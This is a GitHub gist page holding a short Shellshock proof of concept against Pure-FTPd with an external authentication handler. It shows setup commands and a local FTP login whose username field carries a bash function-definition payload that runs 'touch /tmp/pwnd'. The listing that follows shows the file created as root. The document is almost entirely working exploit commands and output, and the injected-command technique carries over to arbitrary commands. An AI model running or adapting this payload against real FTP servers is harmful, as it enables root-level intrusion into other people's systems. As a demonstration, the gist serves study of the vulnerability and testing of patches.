Skip to content

Instantly share code, notes, and snippets.

@mox5500

mox5500/pureftpd shellshock.txt

Forked from jedisct1/pureftpd shellshock.txt
Created October 24, 2015 00:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mox5500/22c4ebeba0abf8535bb2 to your computer and use it in GitHub Desktop.
Save mox5500/22c4ebeba0abf8535bb2 to your computer and use it in GitHub Desktop.
Download ZIP
Pure-FTPd + external authentication handler #shellshock POC
Raw
pureftpd shellshock.txt
$ cat > /tmp/handler.sh
#! /bin/bash
echo auth_ok:1
echo uid:42
echo gid:21
echo dir:/tmp
echo end
^D
$ chmod +x /tmp/handler.sh
# pure-authd -B -s /tmp/ftpd.sock -r /tmp/handler.sh
# pure-ftpd -B -l extauth:/tmp/ftpd.sock
$ ftp 127.0.0.1
Name: () { :; }; touch /tmp/pwnd
Password: whatever
^C
$ ls -l /tmp/pwnd
-rw------- 1 root wheel 0 Sep 27 15:28 /tmp/pwnd
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment